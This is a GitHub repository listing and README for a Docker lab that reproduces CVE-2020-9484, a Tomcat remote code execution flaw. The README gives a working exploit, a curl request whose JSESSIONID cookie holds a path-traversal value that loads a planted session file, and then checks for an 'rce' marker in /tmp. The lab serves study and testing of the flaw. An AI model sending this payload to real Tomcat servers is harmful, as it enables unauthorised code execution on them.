https://github.com/masahiro331/CVE-2020-9484

https://github.com/masahiro331/CVE-2020-9484

Last synced: 22 days ago
JSON representation

• Host: GitHub
• URL: https://github.com/masahiro331/CVE-2020-9484
• Owner: masahiro331
• Created: 2020-05-21T00:41:06.000Z (over 4 years ago)
• Default Branch: master
• Last Pushed: 2021-10-28T02:31:04.000Z (about 3 years ago)
• Last Synced: 2024-10-14T20:36:35.280Z (about 2 months ago)
• Language: Dockerfile
• Size: 3.75 MB
• Stars: 126
• Watchers: 5
• Forks: 30
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - masahiro331/CVE-2020-9484 - (Dockerfile)

README

        
# CVE-2020-9484 (Tomcat)

For educational purposes only.

See Reference for the details.

## Run

```

$ git clone https://github.com/masahiro331/CVE-2020-9484.git

$ cd CVE-2020-9484

$ docker build -t tomcat:groovy .

$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`

```

## Check (clean)

```

$ docker exec -it $CONTAINER ls -la /tmp

```

**NOTE:** (`rce` NOT in output)

## Exploit

```

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

```

## Check (exploited)

```

$ docker exec -it $CONTAINER ls -la /tmp

```

**NOTE:** (`rce` IS in output)